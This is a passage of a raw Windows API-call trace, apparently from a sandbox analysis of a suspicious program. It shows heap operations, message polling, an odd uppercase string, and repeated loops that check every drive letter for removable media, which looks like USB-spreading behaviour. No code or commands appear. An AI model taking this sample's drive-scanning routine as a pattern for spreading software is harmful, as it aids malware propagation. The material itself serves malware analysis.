returned 1 [0171.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0171.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0171.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.664] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.664] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.664] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.664] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.664] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.664] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.665] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.666] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.666] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.666] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.666] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.666] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.666] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.667] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.668] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.668] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.668] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0171.668] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.668] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.669] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.669] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0171.669] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.669] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.669] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.669] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.669] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.669] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.669] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.669] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.670] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.670] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.670] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe578 [0171.670] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.670] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.670] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.670] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe578 | out: hHeap=0xe80000) returned 1 [0171.670] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.670] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.670] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0171.670] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0171.671] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.671] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.672] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.707] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.707] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0171.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2880 [0171.707] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2880 | out: hHeap=0xe80000) returned 1 [0171.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10769a0 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.708] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.708] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.708] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.709] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.709] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.709] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.709] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.709] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.709] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.709] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.710] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.711] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.712] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.712] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.712] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe878 [0171.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe878 | out: hHeap=0xe80000) returned 1 [0171.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0171.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0171.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.716] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.717] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.717] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10769b8 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.718] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.718] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.718] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.718] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.718] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.718] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.718] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.718] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.718] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.718] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.719] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.719] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.719] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.719] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.719] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.720] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.721] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.722] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5b8 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe5b8 | out: hHeap=0xe80000) returned 1 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0171.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0171.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0171.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0171.724] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0171.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.725] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.725] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2958 [0171.725] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0171.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768c8 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2958 [0171.725] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0171.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.726] 